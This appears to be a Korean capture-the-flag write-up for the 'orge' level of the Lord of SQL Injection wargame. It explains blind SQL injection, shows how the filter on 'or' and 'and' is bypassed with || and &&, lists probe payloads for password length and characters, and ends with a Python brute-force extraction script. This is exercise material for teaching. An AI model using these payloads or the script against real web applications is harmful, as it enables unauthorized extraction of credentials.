6번째줄을 보면 or와 and가 필터링된다. (or : ||, and : && 로 대체)
15번째줄을 보면 정확한 pw를 입력해야 된다.(orc문제처럼 풀면된다. id값은 뭐든 상관없음)
orc와 똑같은 Blind SQL Injection문제이다. (id값만 admin으로 넣어주면 됨)
[*] Blind SQL Injeciton 일반적인 SQL Injection은 웹 시스템이 쿼리를 이용하여 데이터베이스를 조회하는 과정을 우회하는 방법이다. Blind SQL Injection은 다음과 같은 특정한 상황에서 사용 가능하다. 1. 쿼리문으로 참과 거짓일 때의 서버의 반응을 알 수 있어야 함. 2. 원하는 결과를 얻을 데이터베이스의 이름을 알 수 있어야 함. 이러한 상황일 때, 쿼리 문의 ascii, limit, substr 등의 구문을 이용한다. (참조 : http://kcats.tistory.com/121) Blind SQL Injection을 정리하자면 스무고개와 비슷하다. Q : 문자열 0번 인덱스가 a야? A : No Q : 문자열 0번 인덱스가 b야? A : Yes Q : 문자열 1번 인덱스가 a야? A : No Q : 문자열 1번 인덱스가 b야? A : No Q : 문자열 1번 인덱스가 c야? A : Yes ...... |
length(pw)='8' 명령으로 "Hello admin"값을 출력하는 것을 보아 pw의 값의 길이는 8인것으로 확인됬다.
substr(pw,1,1)='6' 에서 "Hello admin"값을 출력하는것을 보니 pw값의 첫번째 자리는 '6'이다.
이제 정확한 pw값만 찾으면 될 듯하다.(orc문제 풀이를 참조)
노가다가 귀찮은신 분은 파이썬으로 코드를 짜서 풀면 될 듯 :)
#coding:utf-8 import urllib2 for i in range(8): for j in range(ord('0'),ord('z')): url= "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27%20||%20ascii(substr(pw,"+str(i+1)+",1))=%27"+str(j) req=urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' }) req.add_header("Cookie","PHPSESSID=ofctt233m55k4qud43f4e2qg33") if urllib2.urlopen(req).read().find("Hello admin") != -1: print chr(j), break